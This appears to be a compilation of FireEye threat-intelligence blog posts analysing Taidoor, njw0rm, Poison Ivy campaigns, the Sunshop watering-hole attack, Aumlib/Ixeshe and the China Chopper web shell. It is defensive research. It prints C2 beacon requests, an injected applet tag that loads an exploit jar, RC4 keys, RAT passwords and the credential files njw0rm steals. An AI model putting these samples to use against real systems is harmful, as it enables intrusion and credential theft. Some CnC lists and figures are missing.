              We analyzed a sample (be1d972819e0c5bf80bf1691cc563400) that when opened exploits a vulnerability in Microsoft Office (CVE-2012-0158) to drop malware on the target’s computer.


              The decoy document contains background information on trade liberalization between the People’s Republic of China (PRC) and Taiwan.

              The various strings in the file are XOR-encoded with the key "0x02" or "0x03".


              This malware is a simple “downloader” that, instead of connecting to a CnC server, connects to a Yahoo Blog and downloads the contents of a blog post.


              GET /jw!JRkdqkKGAh6MPj9MlwbK6iMgScE- HTTP/1.1

              Accept: /

              Accept-Language: en-us

              User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)

              Accept-Encoding: gzip, deflate


              Connection: Keep-Alive



              The content of the blog post between the markers “ctxugfbyyxyyyxyy” and “yxyyyxyyctxugfby” is encoded with base64 and encrypted using the RC4 cipher. The encryption key, which we discovered to be "asdfasdf", is also present in the contents of the base64 blog data in an encrypted form. The decrypted content of the blog post is a DLL file – that is in fact the Taidoor malware.


              After the first-stage dropper downloads and decrypts the Taidoor malware, it then begins to connect to two CnC servers: ( and ( However, the network traffic (its “callback”) has been modified from the traditional version.


              GET /default.jsp?vx=vsutnh191138F9744C HTTP/1.1

              User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)


              Connection: Keep-Alive

              Cache-Control: no-cache


              Rather than having “[five characters].php”, this new file path ends in “.jsp” and may have any of the following file names:

              • process
              • page
              • default
              • index
              • user
              • parse
              • about
              • security
              • query
              • login

              The new format is:

              /[file name].jsp?[2 random characters]=[6 random characters][encrypted MAC address]

              In addition to the use of other malicious Word documents (b0fd4d5fb6d8acb1ccfb54d53c08f11f), we have also seen this new Taidoor variant distributed as a Windows ScreenSaver file (.scr) posing as a PDF (d9940a3da42eb2bb8e19a84235d86e91) or a Word document (c4de3fea790f8ff6452016db5d7aa33f).




              It remains unclear whether all of this Taidoor activity is related or different groups are using the same malware for different purposes. The fact that Taidoor is not off-the-shelf malware that can simply be downloaded or purchased in the cybercrime underground suggests that all of this activity may be connected in some way.


              So far, we have found only one large cluster of activity associated with this new Taidoor variant. This cluster, which made use of Yahoo Blogs, appears to have targeted entities in Taiwan. We found that traditional versions of Taidoor have also been using this infrastructure. [4]

              Malware Connections

              We found that another, possibly related, malware family known as “Taleret” is using the same technique that this Taidoor variant has used. We found that samples (such as 6cd1bf0e8adcc7208b82e1506efdba8d, 525fd346b9511a84bbe26eb47b845d89 and 5c887a31fb4713e17c5dda9d78aab9fe) connect to Yahoo Blogs in order to retrieve a list of CnC servers.


              The content between the two markers “XXXXX” is encoded with base64 and encrypted with the RC4 cipher. The encryption key is “c37f12a0” in hex, and hardcoded in the malware.


              We extracted the following CnC servers from these blog posts:

              • www.facebook.trickip.NET
              • www.braintrust.AlmostMy.COM

              As with Taidoor, there appears to be a frequent association with Taiwan, in addition to a similar CnC naming scheme – such as (Taidoor) and (Taleret).


              The Taidoor malware has been used to successfully compromise targets since 2008. This threat has evolved over time, and has recently leveraged Yahoo Blogs as a mechanism to drop the Taidoor malware as a “second stage” component. In addition, the well-known Taidoor network traffic pattern has been modified, likely as a new way to avoid network-based detection.



              2. and

              3. and reports of associated malware here and here

              4. MD5 hashes of traditional Taidoor samples 811aae1a66f6a2722849333293cbf9cd 454c9960e89d02e4922245efb8ef6b49 5efc35315e87fdc67dada06fb700a8c7 bc69a262bcd418d194ce2aac7da47286

              Njw0rm – Brother From the Same Mother

              FireEye Labs has discovered an intriguing new sibling of the njRAT remote access tool (RAT) that one-ups its older "brother" with a couple of diabolically clever features. Created by the same author as njRAT —a freelance coder who goes by the moniker njq8 — the new njw0rm malware has the ability to spread using removable computer storage and can steal login credentials to a popular dynamic DNS service.

              The older njRAT was first documented about a year ago by FireEye as Backdoor.LV. Most of the command-and-control (CnC) infrastructure associated with njRAT, like many of its targets, were based in the Middle East. The CnC servers associated with njw0rm are also based in the Middle East, though we have not yet seen njw0rm used in targeted attacks.

              Njw0rm has the usual RAT features, but adds a key enhancement — it is designed to spread via removable devices such as USB drives. FireEye researchers have seen njw0rm delivered initially through malicious links in emails and using drive-by downloads on compromised websites. The malware aims to steal user credentials, execute commands, and receive future updates from the attacker.


              Njw0rm is coded in Visual Basic script, but requires AutoIt to build the dropper. It provides an attacker with common options such as the ability to designate a name for its binary, configure its CnC servers, whether to “melt” or delete the binary after execution, and so on.


              When you first start the builder, it asks you to assign a port for incoming traffic (1888 by default).


              Control panel

              The control panel contains a window for logging and another window with details of active infections.


              The name of the infected machine is followed by the serial number of the %homedrive%. It also includes information on its location, OS (and service pack installations), removable storage devices present, and currently active windows.

              The following functions are available from the control panel:


              Data Theft

              The Get Passwords command has the capability to steal passwords from three different sources:

              • FTP passwords stored under %appdata%\Filezilla\recentservers.xml
              • Chrome browser passwords in \Google\Chrome\User Data\Default\Login Data\
              • Account credentials for the No-IP dynamic DNS service by reading the registry key at HKLM\SOFTWARE\Vitalwerks\DUC and base64-decoding it

              The credentials stored inside Google Chrome’s Web browser are decrypted locally using the CryptUnprotectData() function provided by Crypt32.dll. This API enables an application to decrypt Triple-DES encrypted passwords as long as they are encrypted with the same logon credentials.

              The ability to steal No-IP credentials is unique. Many threat actors use dynamic DNS domains for their infrastructure. So an attacker with stolen No-IP credentials could use the service to perform reconnaissance or target other systems.

              Callback Communication

              The Njw0rm bot connects to the CnC server and waits for commands. If no command is received, the worm sends the following information to the following hard-coded domain:port every two seconds.


              The above code roughly translates to:

              “lv” + 0njxq80 + name_serial + 0njxq80 + Kernel32.dll.GetLocaleInfo()+ 0njxq80 + OS info + 0njxq80 + worm version + 0njxq80 + removable drive available + 0njxq80 + title of active window

              Like njRAT, njw0rm uses the "lv" keyword and as a field separator.


              The Worm Aspect

              Njw0rm constantly checks for removable devices present on the host. If a removable drive’s status is “Ready” and it has more than 1024 megabytes free, njw0rm creates a hidden My Pictures directory (if it doesn't already exist). It then gets a list of 10 folders on the removable drive, hides those 10 folders, and creates shortcut links with the same names for each of them — all pointing to the malware executable. When unsuspecting users click on one of the shortcuts to open what they think is a familiar folder, they execute the worm instead.


              Connections to njRAT

              Looking at the comments section of the code, researchers can conclude that njw0rm is coded by njq8, the author who also created njRAT. Although njw0rm’s communications are not base64 encoded, it uses the same keyword "lv" at the beginning of every communication and “0njxq80” as a delimiter instead of “|”, two features that are identical to njRAT’s communication.

              The malware's author is prolific. According to his profile, he lives in Kuwait and is a coder for hire.worm19

              Based on the comments in the source code, njworm was last updated on May 16th with version 0.3.3a. We have seen versions ranging from 0.2 – 0.4d in the wild. The newer version likely includes bot-killer functionality that was left unfinished in 0.3.3a.

              worm20CnC Information

              We have seen communications back to the following domains and ports:












              Geolocations of CnC

              Most of the njworm's CnC infrastructure is hosted in the Middle East — just like njRAT — with a few exceptions.



              The Njw0rm RAT is clearly authored by the same person who wrote njRAT. Like njRAT, most of the njw0rm CnC infrastructure is also hosted in the Middle East. The callback structure is also similar to njRAT. Currently, the worm does not appear to be used in a targeted fashion. But based on the callback data, njw0rm is evolving quickly — so expect to see more of it in the future.

              (Special thanks to Thoufique Haq for his help with this research.)

              File hashes

              02b32f094ddc1b5d0c0ab86a5fae7c91 02dc77b3ae7a17a6720eec9624b24ae9 02e144a10e8f3a24a335a96cd69f8086 053702add48f4455088798fff2b4e690 05b5008acd534f4e419902c85f169531 07c65bd8926cf6c249bc04470b555c65 08f240f494a5e4f2cbfb9f764d1738e6 0f828b31bb91fcdcf1533ed7cd3e3313 110d0b6e29d84dd2f690703197082743 12f679546ada9d65c21a8e879128139d 13977ef247db77c11b9b8f407c9f3f6c 1c448c5488ac4a391f6fae0a5880adaf 1cb5a011c3888aa981d8f3cc0c74fc2e 21af26854fa5318d1f8787ebbc9dce20 253647d1ee71c19c136db94b9f7af3d2 2cf983063f2a33685f34ab53d076d2ce 2dc7b434520365c6ab3f5bdadcb84765 2fe7df0c84f6bb0d53922bbe79123295 42f549140f5fec8f63c118d649b1659f 4c60493b14c666c56db163203e819272 57d8b563b587aecee18387a016f49710 5c12b6694032134f213a51df047c5968 7717e996de4d1444c76b3ab4432027b2 7e5c0b55917721a7463b00c89c8f3154 807e6783a4212e1fb20a6f1f0a7b006b 86022d7f987e9cf54fad35a89c3d9e84 908634d98e166031e0904575ed7f4e2e 93d8dc5ff775ef8d9f9355e8e516e232 9c25d1a88bf96f73207a57ccb184d993 a36117133263dc538d2b9291835d94e9 a62b3a47e485fda57d5f183ebb237683 a89c76bce3d8eab6451da7d579bbd9fa a90a254d547042cd2936f9c89359c442 ab6e0b3d0cf57c507935578987c289c3 b0e1d20accd9a2ed29cdacb803e4a89d b412222c50bd51b4770245cfee71346b ba2952386cd8295ca69665b65a24e635 bab466ab747c94e55d0c1685404cc548 f06c6fd7ee79f035b0b683364d5f2af2 f0abdb8084a416e8353bc520abe0471b f3ae62b63f3b78b9c0be30d0ffd10592 f6b31d4abeb50db38093003bd93dc02e f863f3878ebd2e449beb78dc214380ab ff573fc5a7c9b12fa15c984eb0228a64

              Operation Molerats: Middle East Cyber Attacks Using Poison Ivy

              Don't be too hasty to link every Poison Ivy-based cyber attack to China. The popular remote access tool (RAT), which we recently detailed on this blog, is being used in a broad campaign of attacks launched from the Middle East, too.

              First, some background:

              In October 2012, malware attacks against Israeli government targets grabbed media attention as officials temporarily cut off Internet access for its entire police force and banned the use of USB memory sticks. [1] Security researchers subsequently linked these attacks to a broader, yearlong campaign that targeted not just Israelis but Palestinians as well. [2] — and as discovered later, even the U.S. and UK governments. [3] Further research revealed a connection between these attacks and members of the so-called “Gaza Hackers Team.” We refer to this campaign as “Molerats.” 

              Threat actors in specific geographic regions may prefer one RAT to another, but many RATs are publicly available and used by a variety of threat actors, including those involved in malware-based espionage.

              In 2012, the Molerats attacks appeared to rely heavily on the XtremeRAT, a freely available tool that is popular with attackers based in the Middle East. [5] But the group has also used Poison Ivy (PIVY), a RAT more commonly associated with threat actors in China [6] — so much so that PIVY has, inaccurately, become synonymous with all APT attacks linked to China.

              This blog post analyzes several recent Molerats attacks that deployed PIVY against targets in the Middle East and in the U.S. We also examine additional PIVY attacks that leverage Arabic-language content related to the ongoing crisis in Egypt and the wider Middle East to lure targets into opening malicious files. [7]

              Enter Poison Ivy

              We observed several attacks in June and July 2013 against targets in the Middle East and the U.S. that dropped a PIVY payload that connected to command-and-control (CnC) infrastructure used by the Molerats attackers.


              The malware sample we analyzed was unusual for two reasons:

              • It referenced an article that was published last year
              • The compile time for the dropped binary was also dated from last year, seemingly consistent with the referenced article. But this malware was signed, and — in contrast to the compile time, which can be faked — the signing time on its certificate was much more recent: Monday, July 08, 2013 1:45:10 A.M.

              Here are the file details:

              Hamas shoot down Israeli F-16 fighter jet by modern weapon in Gaza sea.doc- - - - - - - - - - - -.scr

              MD5: 7084f3a2d63a16a191b7fcb2b19f0e0d


              This malware was signed with a forged Microsoft certificate similar to previous XtremeRat samples. But the serial number (which is often reused by attackers, enabling FireEye researchers to link individual attacks, including those by the Molerats) is different this time.


              The malware dropped an instance of PIVY with the following configuration:


              ID: F16 08-07-2013


              DNS/Port: Direct:,

              Proxy DNS/Port:

              Proxy Hijack: No

              ActiveX Startup Key:

              HKLM Startup Entry:

              File Name:

              Install Path: C:\Documents and Settings\Admin\Local Settings\Temp\morse.exe

              Keylog Path: C:\Documents and Settings\Admin\Local Settings\Temp\morse

              Inject: No

              Process Mutex: gdfgdfgdg

              Key Logger Mutex:

              ActiveX Startup: No

              HKLM Startup: No

              Copy To: No

              Melt: No

              Persistence: No

              Keylogger: No

              Password: !@#GooD#@!


              We collected additional PIVY samples that had the same password or linked to CnC infrastructure at a common IP address (or both). We observed three PIVY passwords (another potential identifier) used in the attacks: “!@#GooD#@!”, “!@#Goood#@!” and “admin100”.

              Additional Samples with Middle Eastern Themes

              We also found a PIVY sample used by this group that leveraged what are known as key files instead of passwords. The PIVY builder allows operators to load .pik files containing a key to secure communications between the compromised computer and the attacker's machine. By default, PIVY secures these communications with the ascii text password of "admin" — when the same non-default password appears in multiple attacks, researchers can conclude that the attacks are related.

              The PIVY sample in question had an MD5 hash of 9dff139bbbe476770294fb86f4e156ac and communicated with a CnC server at over port 443. The key file used to secure communications contained the following ascii string ‘Password (256 bits):\x0d\x0aA9612889F6’ (where \x0d\x0a represents a line break).


              The 9dff139bbbe476770294fb86f4e156ac sample dropped a decoy document in Arabic that included a transcript of an interview with Salam Fayyad, the former Prime Minister of the Palestinian National Authority.

              The sample 16346b95e6deef9da7fe796c31b9dec4 was also seen communicating with over port 443. This sample appears to have been delivered to its targets via a link to a RAR archive labeled Ramadan.rar (fc554a0ad7cf9d4f47ec4f297dbde375) hosted at the Dropbox file-sharing website.


              The sample a8714aac274a18f1724d9702d40030bf dropped a decoy document in Arabic that contained a biography of General Adbel Fattah el-Sisi – the Commander-in-Chief of the Egyptian Armed Forces.


              A recent sample (d9a7c4a100cfefef995785f707be895c) used protests in Egypt to entice recipients to open a malicious file.


              Another sample (b0a9abc76a2b4335074a13939c59bfc9) contained a decoy with a grim picture of Fadel Al Radfani, who was the adviser to the defense minister of Yemen before he was assassinated.

              Although we are seeing Egyptian- and Middle Eastern-themed attacks using decoy content in Arabic, we cannot determine the intended targets of all of these attacks.

              Delivery Vector

              We believe that the Molerats attacker uses spear phishing to deliver weaponized RAR files containing their malicious payloads to their victims in at least two different ways. The Molerats actor will in some cases attach the weaponized RAR file directly to their spear- phishing-emails. We also believe that this actor sends spear-phishing emails that include links to RAR files hosted on third-party platforms such as Dropbox.

              In one such example we found the following link was used to host Ramadan.rar (fc554a0ad7cf9d4f47ec4f297dbde375):


              CnC Infrastructure

              We have found 15 PIVY samples that can be linked through common passwords, common CnC domain names, and common IP addresses to which the CnC domains resolve. The CnC servers for this cluster of activity are:


              Two of the domain names ( and that were used as CnCs for PIVY were both documented as XtremeRat CnCs that were used in previous attacks. [8]


              We focused on these domains and their IP addresses — which they had in common with In addition, we added the well-known CnCs and used in previously documented attacks.

              By observing changes in DNS resolution that occurred within the same timeframe, we were able to ensure that the passive DNS data we collected was the same. Interestingly, we also found that the domains often shifted to a new IP address over time.

              CnC Date IP
     2013-07-10 22:06:56
              2013-07-10 22:05:31
              2013-07-10 23:45:46
              2013-07-10 23:48:41
              2013-07-10 23:48:41
              2013-07-10 22:06:56
              2013-07-10 22:05:31
              2013-07-10 23:45:46
              2013-07-10 23:48:41
              2013-07-10 23:48:41
     2013-07-16 09:14:30
              2013-07-16 11:33:21
              2013-07-16 12:47:59
              2013-07-16 12:50:51
              2013-07-16 12:50:51
              2013-07-16 09:14:30
              2013-07-16 11:33:21
              2013-07-16 12:47:59
              2013-07-16 12:50:51
              2013-07-16 12:50:51
     2013-07-21 15:00:38
              2013-07-21 15:28:43
              2013-07-21 16:31:07
              2013-07-21 15:00:38
              2013-07-21 15:28:43
              2013-07-21 16:31:07
     2013-07-21 22:06:19
              2013-07-21 22:04:49
              2013-07-21 22:06:19
              2013-07-21 22:04:49
     2013-07-29 15:38:21
              2013-07-29 15:35:52
              2013-07-29 16:46:35
              2013-07-29 16:49:27
              2013-07-29 16:49:27
              2013-07-29 15:38:21
              2013-07-29 15:35:52
              2013-07-29 16:46:35
              2013-07-29 16:49:27
              2013-07-29 16:49:27
     2013-07-10 22:05:31
              2013-07-10 22:06:35
              2013-07-10 22:06:37
              2013-07-10 22:06:56
              2013-07-10 22:19:03
              2013-07-10 22:19:31
              2013-07-10 22:05:31
              2013-07-10 22:06:35
              2013-07-10 22:06:37
              2013-07-10 22:06:56
              2013-07-10 22:19:03
              2013-07-10 22:19:31
     2013-08-10 14:07:38
              2013-08-10 14:08:43
              2013-08-10 14:07:38
              2013-08-10 14:08:43

              One interesting discovery concerns a sample (5b740b4623b2d1049c0036a6aae684b0) that was first seen by VirusTotal on September 14, 2012. This date is within the timeframe of the original XtremeRat attacks, but the payload in this case was PIVY. This indicates that the attackers have been using PIVY in addition to XtremeRat for longer than we had originally believed.


              We do not know whether using PIVY is an attempt by those behind the Molerats campaign to frame China-based threat actors for their attacks or simply evidence that they have added another effective, publicly-available RAT to its arsenal. But this development should raise a warning flag for anyone tempted to automatically attribute all PIVY attacks to threat actors based in China. The ubiquity of off-the-shelf RATs makes determining those responsible an increasing challenge.

              The ongoing attacks are also heavily leveraging content in Arabic that uses conflicts in Egypt and the wider Middle East to lure targets into opening malicious files. But we have no further information about the exact targets of these Arabic lures.

              As events on the ground in the Middle East — and in Egypt in particular — receive international attention, we expect the Molerat operators to continue leveraging these headlines to catalyze their operations.







              6. /content/dam/legacy/resources/pdfs/fireeye-poison-ivy-report.pdf

              7. The Molerats group also uses addition RATs such as XtremeRat, Cerberus, Cybergate, but we have focused on their used of PIVY in this blog.


              Yara Signature

              This Yara signature can be used to locate signed samples that have the new certificate serial numbers used by Molerats.


              rule Molerats_certs



              author = “FireEye Labs”

              description = “this rule detections code signed with certificates used by the Molerats actor”


              $cert1 = {06 50 11 A5 BC BF 83 C0 93 28 16 5E 7E 85 27 75}

              $cert2 = {03 e1 e1 aa a5 bc a1 9f ba 8c 42 05 8b 4a bf 28}

              $cert3 = {0c c0 35 9c 9c 3c da 00 d7 e9 da 2d c6 ba 7b 6d}


              1 of ($cert*)



















              Poison Ivy: Assessing Damage and Extracting Intelligence

              Today, our research team is publishing a report on the Poison Ivy family of remote access tools (RATs) along with a package of tools created to work as a balm of sorts — naturally, we’re calling the package “Calamine.”

              In an era of sophisticated cyber attacks, you might wonder why we’re even bothering with this well-known, downright ancient pest. As we explain in the paper, dismissing Poison Ivy could be a costly mistake.

              RATs may well be the hacker’s equivalent of training wheels, as they are often regarded in IT security circles. But despite their reputation as a software toy for novice “script kiddies,” RATs remain a linchpin of many sophisticated cyber attacks and are used by numerous threat actors.

              Requiring little technical savvy, RATs offer unfettered access to compromised machines. They are deceptively simple — attackers can point and click their way through the target’s network to steal data and intellectual property. But they are often delivered as a key component of coordinated attacks that use previously unknown (zero-day) software flaws and clever social engineering.

              Even as security professionals shrug off the threat, the presence of a RAT may in itself indicate a targeted attack known as an advanced persistent threat (APT). Unlike malware focused on opportunistic cybercrime (typically conducted by botnets of compromised machines), RATs require a live person on the other side of the attack.

              Poison Ivy has been used in several high-profile malware campaigns, most infamously, the 2011 compromise of RSA SecurID data. The same year, Poison Ivy powered a coordinated attack dubbed “Nitro” against chemical makers, government offices, defense firms, and human-rights groups.

              We have discovered several nation-state threat actors actively using Poison Ivy, including the following:

              • admin@338 — Active since 2008, this actor mostly targets the financial services industry, though we have also seen activity in the telecom, government, and defense sectors.
              • th3bug — First detected in 2009, this actor targets a number of industries, primarily higher education and healthcare.
              • menuPass — Also first detected in 2009, this actor targets U.S. and overseas defense contractors.

              Understanding why Poison Ivy remains one of the most widely used RATs is easy. Controlled through a familiar Windows interface, it offers a bevy of handy features: key logging, screen capture, video capturing, file transfers, password theft, system administration, traffic relaying, and more.

              Here is how a typical Poison Ivy attack works:

              1. The attacker sets up a custom PIVY server, tailoring details such as how Poison Ivy will install itself on the target computer, what features are enabled, the encryption password, and so on.
              2. The attacker sends the PIVY server installation file to the targeted computer. Typically, the attacker takes advantage of a zero-day flaw. The target executes the file by opening an infected email attachment, for example, or visiting a compromised website.
              3. The server installation file begins executing on the target machine. To avoid detection by anti-virus software, it downloads additional code as needed through an encrypted communication channel.
              4. Once the PIVY server is up and running on the target machine, the attacker uses a Windows GUI client to control the target computer.

              Poison Ivy is so widely used that security professionals have a harder time tracing attacks that use the RAT to any particular attacker.

              We hope to eliminate some of that anonymity with the Calamine package. The package, which enables organizations to easily monitor Poison Ivy’s behavior and communications, includes these components:

              ChopShop[1] is a new framework developed by the MITRE Corporation for network-based protocol decoders that enable security professionals to understand actual commands issued by human operators controlling endpoints. The FireEye PIVY module for ChopShop decrypts Poison Ivy network traffic.

              PyCommands, meanwhile, are Python scripts that automate tasks for Immunity Debugger, a popular tool for reverse-engineering malware binaries.[2] The FireEye PyCommand script dumps configuration information from a running PIVY process on an infected endpoint, which can provide additional telemetry about the threat actor behind the attack.

              FireEye is sharing the Calamine tools with the security community at large under the BSD 2-Clause license[3] for both commercial and non-commercial use worldwide.

              By tracking the PIVY server activity, security professionals can find these telltale indicators:

              • The domains and IPs used for CnC
              • The attacker’s PIVY process mutex
              • The attacker’s PIVY password
              • The launcher code used in the malware droppers
              • A timeline of malware activity

              The FireEye report explains how Calamine can connect these and other facets of the attack. This evidence is especially useful when it is correlated with multiple attacks that display the same identifying features. Combining these nitty-gritty details with big-picture intelligence can help profile threat attackers and enhance IT defenses.

              Calamine may not stop determined APT actors from using Poison Ivy. But it can complicate their ability to hide behind this commodity RAT.

              Full details are available, here:

              [1] ChopShop is available for download at

              [2] Immunity Debugger is available at

              [3] For more information about the BSD 2-Clause License, see the Open Source Initiative’s template at

              The Sunshop Campaign Continues

              We recently detected what we believe is a continuation of the Sunshop campaign that we first revealed on May 20, 2013.

              This follow-on to the Sunshop campaign started on July 17, 2013. In this latest wave the attackers inserted malicious redirects into a number of websites – at least two of which were also compromised in the May 2013 edition of this campaign. The most prominent sites compromised in this round of the campaign were maintained by a Human Rights organization and an organization involved in science and technology policy development.

              The compromised websites redirected victims to www[.]vwalls[.]com/maxi/enough/wildpost/files/2977.html. This page was last modified on July 17, 2013 at 09:51:01 GMT and contained the following code:

              <applet archive="MnDK6AQJbV9qSo15.jar" code="Xxploit.class" width="1" height="1">


              A .jar file with the same filename and md5 hash of 8b88de786a219340ff04bc53de196f46 was uploaded to on July 19, 2013. This malicious .jar exploited CVE-2013-2423 and dropped an interesting variant of Trojan.APT.9002.

              The dropped payload had a md5 hash of f4ba5fd0a4f32f92aef6d5c4d971bf14 and was compiled on June 25, 2013. This Trojan.APT.9002 variant called back to appupdate[.]myvnc[.]com. This domain resolved to – one of the same command and control IP address used in the Sunshop campaign.

              A related .jar file with the filename fiUJ3OTjBWZEUH8H.jar (md5: 04ad4f479997ca7bf8de216a67e23972) was also found. This jar file was first uploaded to on July 17, 2013. This malicious jar also exploited CVE-2013-2423 and dropped a modified 9002 RAT payload with the md5 53c5570178403b6fbb423961c3831eb2. This variant called back to intelupdate[.]hopto[.]org which resolved to It is possible that fiUJ3OTjBWZEUH8H.jar was used first then swapped out for MnDK6AQJbV9qSo15.jar for this instantiation of the Sunshop campaign.


              The typical 9002 variant sends the ascii characters ‘9002’ as the first 4-bytes of its communications back to the command and control server. In contrast, this modified variant sent the ascii characters ‘0113’ as the first 4-bytes back to its command and control server.

              Variant Hex encoded Beacon between Victim and C2
              9002 9002 39 30 30 32 0c 00 00 00 08 00 00 00 19 ff ff ff ff 00 00 00 00 11 00 00 39 30 30 32 0c 00 00 00 08 00 00 00 19 ff ff ff ff 00 00 00 00 11 00 00
              0113 0113 30 31 31 33 0c 00 00 00 08 00 00 00 19 ff ff ff ff 00 00 00 00 11 00 00 30 31 31 33 0c 00 00 00 08 00 00 00 19 ff ff ff ff 00 00 00 00 11 00 00

              This change, while seemingly minor, would evade signatures that looked for the entire 24-byte string of the beacon packet. Bytes 5 through 24 are constant across both variants and are therefore better candidates for signatures. FireEye detects both variants as Trojan.APT.9002.


              We are almost certain that the same actors responsible for the original Sunshop campaign executed these most recent attacks. We observed the following commonalities between the two attack cycles:

              - At least two of the same strategic websites were compromised

              - A variant of the same Trojan.APT.9002 malware was dropped

              - The same c2 IP,, was used in both attacks

              While it is unclear what prompted the modification of the Trojan.APT.9002 backdoor, it is possible that the adversary felt this modification would increase the attacks chances of success.

              It is also unclear how easy it is for the adversary to implement this change in the network protocol. This change could in theory be enabled through an easy to use GUI builder or it could as complex as making changes to the source code. The level of complexity of this change and availability of either a builder or the source code will dictate how often we would expect to see similar changes in this tool.

              This example of evasion at the network level also demonstrates the importance of crafting robust signatures that will survive the changes in techniques, tactics and procedures made by the adversary.

              Survival of the Fittest: New York Times Attackers Evolve Quickly

              The attackers behind the breach of the New York Times’ computer network late last year appear to be mounting fresh assaults that leverage new and improved versions of malware.

              The new campaigns mark the first significant stirrings from the group since it went silent in January in the wake of a detailed expose of the group and its exploits — and a retooling of what security researchers believe is a massive spying operation based in China [1].

              The newest campaign uses updated versions of Aumlib and Ixeshe.

              Aumlib, which for years has been used in targeted attacks, now encodes certain HTTP communications. FireEye researchers spotted the malware when analyzing a recent attempted attack on an organization involved in shaping economic policy.

              And a new version of Ixeshe, which has been in service since 2009 to attack targets in East Asia, uses new network traffic patterns, possibly to evade traditional network security systems.

              The updates are significant for both of the longstanding malware families; before this year, Aumlib had not changed since at least May 2011, and Ixeshe had not evolved since at least December 2011.


              Cybercriminals are constantly evolving and adapting in their attempts to bypass computer network defenses. But, larger, more successful threat actors tend to evolve at a slower rate.

              As long as these actors regularly achieve their objective (stealing sensitive data), they are not motivated to update or rethink their techniques, tactics, or procedures (TTPs). These threat actors’ tactics follow the same principles of evolution – successful techniques propagate, and unsuccessful ones are abandoned. Attackers do not change their approach unless an external force or environmental shift compels them to. As the old saying goes: If it ain’t broke, don’t fix it.

              So when a larger, successful threat actor changes up tactics, the move always piques our attention. Naturally, our first priority is ensuring that we detect the new or altered TTPs. But we also attempt to figure out why the adversary changed — what broke? — so that we can predict if and when they will change again in the future.

              We observed an example of this phenomenon around May. About four months after The New York Times publicized an attack on its network, the attackers behind the intrusion deployed updated versions of their Backdoor.APT.Aumlib and Backdoor.APT.Ixeshe malware families [2].

              The previous versions of Aumlib had not changed since at least May 2011, and Ixeshe had not evolved since at least December 2011.

              We cannot say for sure whether the attackers were responding to the scrutiny they received in the wake of the episode. But we do know the change was sudden. Akin to turning a battleship, retooling TTPs of large threat actors is formidable. Such a move requires recoding malware, updating infrastructure, and possibly retraining workers on new processes.

              The following sections detail the changes to Backdoor.APT.Aumlib and Backdoor.APT.Ixeshe.


              Aumlib has been used in targeted attacks for years. Older variants of this malware family generated the following POST request:

              POST /bbs/info.asp HTTP/1.1

              Data sent via this POST request transmitted in clear text in the following structure:


              A recently observed malware sample (hash value 832f5e01be536da71d5b3f7e41938cfb) appears to be a modified variant of Aumlib.

              The sample, which was deployed against an organization involved in shaping economic policy, was downloaded from the following URL:

              status[.]acmetoy[.]com/DD/myScript.js or status[.]acmetoy[.]com/DD/css.css

              The sample generated the following traffic:


              This output reveals the following changes when compared with earlier variants:

              • The POST URI is changed to /bbs/search.asp (as mentioned, earlier Aumlib variants used a POST URI of /bbs/info.asp.)
              • The POST body is now encoded.

              Additional requests from the sample generated the following traffic:


              These subtle changes may be enough to circumvent existing IDS signatures designed to detect older variants of the Aumlib family.

              The sample 832f5e01be536da71d5b3f7e41938cfb shares code with an older Aumlib variant with the hash cb3dcde34fd9ff0e19381d99b02f9692. The sample cb3dcde34fd9ff0e19381d99b02f9692 connected to documents[.]myPicture[.]info and www[.]documents[.]myPicture[.]info and as expected generated the a POST request to /bbs/info.asp.


              Ixeshe has been used in targeted attacks since 2009, often against entities in East Asia [3]. Although the network traffic is encoded with a custom Base64 alphabet, the URI pattern has been largely consistent:

              /[ACD] [EW]S[Numbers].jsp?[Base64]

              We analyzed a recent sample that appears to have targeted entities in Taiwan, a target consistent with previous Ixeshe activity.


              This sample (aa873ed803ca800ce92a39d9a683c644) exhibited network traffic that does not match the earlier pattern and therefore may evade existing network traffic signatures designed to detect Ixeshe related infections.


              The Base64-encoded data still contains information including the victim’s hostname and IP address but also a “mark” or “campaign tag/code” that the threat actors use to keep track of their various attacks. The mark for this particular attack was [ll65].


              Based on our observations, the most successful threat actors evolve slowly and deliberately. So when they do change, pay close attention.

              Knowing how attackers’ strategy is shifting is crucial to detecting and defending against today’s advanced threats. But knowing the “why” is equally important. That additional degree of understanding can help organizations forecast when and how a threat actor might change their behavior — because if you successfully foil their attacks, they probably will.



              [2] This actor is known as APT12 by Mandiant


              Breaking Down the China Chopper Web Shell – Part II

              Part II in a two-part series. Read Part I.


              In Part I of this series, I described China Chopper's easy-to-use interface and advanced features — all the more remarkable considering the Web shell's tiny size: 73 bytes for the aspx version, 4 kilobytes on disk. In this post, I'll explain China Chopper's platform versatility, delivery mechanisms, traffic patterns, and detection. My hope is that armed with this information, you can eradicate this pest from your environment.


              So what platform can China Chopper run on? Any Web server that is capable of running JSP, ASP, ASPX, PHP, or CFM. That's the majority of the Web application languages out there. What about operating systems? China Chopper is flexible enough to run transparently on both Windows and Linux. This OS and application flexibility makes this an even more dangerous Web shell.

              In Part I of this series, we showed China Chopper executing on a Windows 2003 IIS server using ASPX. Now we will show it running on Linux with PHP. As shown in Figure 1, the contents of the PHP version are just as minimalistic:


              Figure 1: This command is all that it takes to run on Linux with PHP.


              While the available options differ depending on what platform China Chopper is running on, the file management features in Linux (see Figure 2) are similar to those in Windows.


              Figure 2: File browsing on a target system running Linux


              The database client example shown in Figure 3 is MySQL instead of MS-SQL, but it offers many of the same capabilities.


              Figure 3: Database management from a target system running Linux


              The virtual terminal looks familiar (Figure 4), but uses Linux commands instead of Windows because these are ultimately interpreted by the underlying operating system.


              Figure 4: Virtual terminal from a target system running Linux


              Delivery Mechanism

              China Chopper's delivery mechanism can be very flexible due to the size, format, and simplicity of the malware's payload. This small, text-based payload can be delivered using any of the following mechanisms:

              • WebDAV file upload
              • JBoss jmx-console or Apache Tomcat management pages (For more details on this attack vector, read FireEye consultant Tony Lee’s explanation)
              • Remote exploit with a file drop
              • Lateral propagation from other access


              Traffic Analysis

              We have now seen the server side payload and the client that is used to control the Web shell. Now let's examine China Chopper's traffic. Fortunately, we have both the server and client components, so we can start a packet capture to view the contents of typical traffic. As shown in Figure 5, the client initiates the connection over TCP port 80 using the HTTP POST method.


